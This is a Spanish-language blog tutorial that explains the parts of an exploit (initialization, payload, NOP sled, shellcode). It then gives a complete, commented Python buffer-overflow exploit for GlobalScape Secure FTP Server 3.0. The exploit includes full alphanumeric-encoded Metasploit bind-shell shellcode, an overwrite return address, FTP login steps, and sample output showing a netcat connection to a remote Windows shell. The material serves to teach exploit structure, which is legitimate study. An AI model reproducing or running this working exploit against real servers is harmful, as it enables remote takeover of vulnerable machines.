Para ir completando esta linda referencia que estamos haciendo entre todos voy a explicar resumidamente que es un exploit y las partes que lo componen que aunque parezca basico muchos tienen una idea errada o no saben como es la arquitectura de un exploit.

Que significa exploit?
Etimologicamente exploit viene del ingles explotar; explotar se aplica al sentido de aprovecharse de una falla/debilidad en una pieza de software/firmware para utilizarla para otros propositos. Y un exploit es la tecnica que se usa para explotar esa falla o debilidad.
Tecnicamente un exploit es generalmente una aplicacion compuesta de varias partes programado en un lenguaje adecuado para tomar tomar esa falla.

Como esta compuesto un exploit?
Como vimos antes estas fallas que tienen los programas necesitan una tecnica para llegar a ellas y es por eso que nuestro exploit necesita primero hacer una inicializacion para preparar todo, un ejemplo de inicializacion puede ser por ejemplo para explotar un overflow en un comando FTP, debemos primero conectarnos, autenticarnos y recien despues de eso podemos esperar que el FTP acepte un comando.
La otra parte es la payload.

Que es una payload?
Una payload es un conjunto de datos que son los que finalmente se usaran para explotar la falla; esta payload consta de varias partes, principalmente de una shellcode , un NOP sled y otros datos que si seguimos con el ejemplo del FTP seria el comando con el argumento.

Que es un NOP sled?
Cuando explotamos un proceso manipulamos el puntero de instrucciones (el que dice cual es la siguiente instruccion a ejecutra, EIP en x86), pero muchas veces existe un margen de error que podria hacer fallar nuestra shellcode debido a que tal vez el EIP apunta a la mitad de la shellcode y no al principio.
Entonces lo que se hace es agregar una cadena de instrucciones  de un byte (para que no fallen si caen en la mitad de la instruccion) que no afecten mucho el entorno. Es por eso que se le dice NOP sled, es una serie de instrucciones NOP (opcode: 0x90) de un determinado tamano que se agrega antes de la shellcode y se calcula que el EIP apunte a alguna parte del sled.
Actualmente el NOP sled clasico es detectado por firewalls y debemos usar otras instrucciones similares que ocupen un byte (por ejemplo la instruccion push para registros).

Basta de teoria…
Veamos un tipico exploit hecho en Python para explotar la recepcion de comandos en un server FTP; presten atencion a los comentarios que deje explicando cada parte

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#!/usr/bin/python

# En todo exploit tenemos un hermoso banner donde deja creditos, dice como funciona y le manda saludos a sus amigos, familiares, etc.
# No es menor cosa!

###############################################
# GlobalScape Secure FTP Server Buffer Overflow
# Coded by [email protected]
# [url]http://www.see-security.com[/url]
# [url]http://www.hackingdefined.com/exploits/Globalscape30.pdf[/url]
###############################################
# EIP Overwrite
# root@[muts]# ./globalscape-3.0-ftp.py
#
# [+] Evil GlobalFTP 3.0 Secure Server Exploit
# [+] Coded by mati [at] see-security [dot] com
# [+] 220 GlobalSCAPE Secure FTP Server (v. 3.0) * UNREGISTERED COPY *
#
# [+] Sending Username
# [+] Sending Password
# [+] Sending evil buffer
# [+] Connect to port 4444 on victim Machine!
#
# root@[muts]# nc -v 192.168.1.153 4444
# [192.168.1.153] 4444 (?) open
# Microsoft Windows 2000 [Version 5.00.2195]
# (C) Copyright 1985-2000 Microsoft Corp.
#
# C:\WINNT\system32>

import socket
import struct
import time

#Aca tenemos la shellcode que usa, en este caso es una que genero con Metasploit y es una bind_shell codificada
#alfanumericamente para no tener problemas de bad chars ya que el protocolo FTP es bastante exigente al igual que HTTP y otros mas.

# win32_bind - EXITFUNC=thread LPORT=4444 Size=717 Encoder=PexAlphaNum
# [url]http://metasploit.com[/url] */
sc = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
sc +="\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
sc +="\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
sc +="\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
sc +="\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e"
sc +="\x4f\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x56\x4b\x58"
sc +="\x4e\x56\x46\x32\x46\x32\x4b\x38\x45\x44\x4e\x43\x4b\x58\x4e\x47"
sc +="\x45\x50\x4a\x57\x41\x50\x4f\x4e\x4b\x38\x4f\x34\x4a\x41\x4b\x58"
sc +="\x4f\x55\x42\x52\x41\x30\x4b\x4e\x43\x4e\x42\x53\x49\x54\x4b\x38"
sc +="\x46\x53\x4b\x58\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a"
sc +="\x46\x58\x42\x4c\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30"
sc +="\x44\x4c\x4b\x4e\x46\x4f\x4b\x33\x46\x55\x46\x42\x4a\x42\x45\x57"
sc +="\x43\x4e\x4b\x58\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x58"
sc +="\x4e\x50\x4b\x34\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x43\x30"
sc +="\x4e\x52\x4b\x48\x49\x38\x4e\x36\x46\x42\x4e\x41\x41\x56\x43\x4c"
sc +="\x41\x43\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x33\x4b\x58\x42\x44"
sc +="\x4e\x50\x4b\x38\x42\x47\x4e\x41\x4d\x4a\x4b\x48\x42\x54\x4a\x50"
sc +="\x50\x35\x4a\x46\x50\x58\x50\x44\x50\x50\x4e\x4e\x42\x35\x4f\x4f"
sc +="\x48\x4d\x41\x53\x4b\x4d\x48\x36\x43\x55\x48\x56\x4a\x36\x43\x33"
sc +="\x44\x33\x4a\x56\x47\x47\x43\x47\x44\x33\x4f\x55\x46\x55\x4f\x4f"
sc +="\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e\x4e\x4f\x4b\x53\x42\x45\x4f\x4f"
sc +="\x48\x4d\x4f\x35\x49\x48\x45\x4e\x48\x56\x41\x48\x4d\x4e\x4a\x50"
sc +="\x44\x30\x45\x55\x4c\x46\x44\x50\x4f\x4f\x42\x4d\x4a\x36\x49\x4d"
sc +="\x49\x50\x45\x4f\x4d\x4a\x47\x55\x4f\x4f\x48\x4d\x43\x45\x43\x45"
sc +="\x43\x55\x43\x55\x43\x45\x43\x34\x43\x45\x43\x34\x43\x35\x4f\x4f"
sc +="\x42\x4d\x48\x56\x4a\x56\x41\x41\x4e\x35\x48\x36\x43\x35\x49\x38"
sc +="\x41\x4e\x45\x49\x4a\x46\x46\x4a\x4c\x51\x42\x57\x47\x4c\x47\x55"
sc +="\x4f\x4f\x48\x4d\x4c\x36\x42\x31\x41\x45\x45\x35\x4f\x4f\x42\x4d"
sc +="\x4a\x36\x46\x4a\x4d\x4a\x50\x42\x49\x4e\x47\x55\x4f\x4f\x48\x4d"
sc +="\x43\x35\x45\x35\x4f\x4f\x42\x4d\x4a\x36\x45\x4e\x49\x44\x48\x38"
sc +="\x49\x54\x47\x55\x4f\x4f\x48\x4d\x42\x55\x46\x35\x46\x45\x45\x35"
sc +="\x4f\x4f\x42\x4d\x43\x49\x4a\x56\x47\x4e\x49\x37\x48\x4c\x49\x37"
sc +="\x47\x45\x4f\x4f\x48\x4d\x45\x55\x4f\x4f\x42\x4d\x48\x36\x4c\x56"
sc +="\x46\x46\x48\x36\x4a\x46\x43\x56\x4d\x56\x49\x38\x45\x4e\x4c\x56"
sc +="\x42\x55\x49\x55\x49\x52\x4e\x4c\x49\x48\x47\x4e\x4c\x36\x46\x54"
sc +="\x49\x58\x44\x4e\x41\x43\x42\x4c\x43\x4f\x4c\x4a\x50\x4f\x44\x54"
sc +="\x4d\x32\x50\x4f\x44\x54\x4e\x52\x43\x49\x4d\x58\x4c\x47\x4a\x53"
sc +="\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x46\x44\x57\x50\x4f\x43\x4b\x48\x51"
sc +="\x4f\x4f\x45\x57\x46\x54\x4f\x4f\x48\x4d\x4b\x45\x47\x35\x44\x35"
sc +="\x41\x35\x41\x55\x41\x35\x4c\x46\x41\x50\x41\x35\x41\x45\x45\x35"
sc +="\x41\x45\x4f\x4f\x42\x4d\x4a\x56\x4d\x4a\x49\x4d\x45\x30\x50\x4c"
sc +="\x43\x35\x4f\x4f\x48\x4d\x4c\x56\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f"
sc +="\x42\x4d\x4b\x58\x47\x45\x4e\x4f\x43\x38\x46\x4c\x46\x36\x4f\x4f"
sc +="\x48\x4d\x44\x55\x4f\x4f\x42\x4d\x4a\x36\x4f\x4e\x50\x4c\x42\x4e"
sc +="\x42\x36\x43\x55\x4f\x4f\x48\x4d\x4f\x4f\x42\x4d\x5a"

# Aqui una de las partes mas importantes, la generacion de la payload:

#Empezamos con un relleno de buffer, es lo que necesitamos para llegar a producir el oveflow.
payload   = '\x41'*2043

#Luego agregamos la direccion de retorno, en Windows esto regresara a una instruccion que nos permitira llamar a nuestra shellcode.
#todo se trata de manipular el puntero de instrucciones (EIP en x86). Generalmente en Windows es pop;pop;ret (SEH).
payload += struct.pack("<L",0x7C4FEDBB)

#Agregamos el famoso NOP sled, esto lo que hace es agregar una larga cadena (en este caso 36) de instrucciones NOP.
payload += '\x90'*36

#Finalmente agregamos la shellcode a la payload.
payload += sc

#Otra parte importante es la preparacion del entorno para poder mandar la payload.
#en este caso es un server FTP...
try:
    #Primero nos conectamos al server
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print "\n[+] Evil GlobalFTP 3.0 Secure Server Exploit"
    print "[+] Coded by muts"
    connect=s.connect(('192.168.1.153',21))

    #recibimos el banner de bienvenida de FTP
    d=s.recv(1024)
    print "[+] " +d
    print "[+] Sending Username"
    time.sleep(1)

    #Nos autenticamos en el server enviando usuario y password
    s.send('USER muts\r\n')
    s.recv(1024)
    print "[+] Sending Password"
    time.sleep(1)
    s.send('PASS muts\r\n')
    s.recv(1024)
    print "[+] Sending evil buffer"
    time.sleep(1)

    #y finalmente enviamos la payload que preparamos anteriormente, fijense que despues de la payload envia '\r\n' para terminar el comando.
    s.send(payload+'r\n')
    print "[+] Connect to port 4444 on victim Machine!\n"
except:
    print "Can't connect to ftp"

Esto es para comprender como es un exploit por dentro y empezar a entender que son esas cadenas de caracteres que aparecen y como es que llegan a tomar el control de un proceso.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *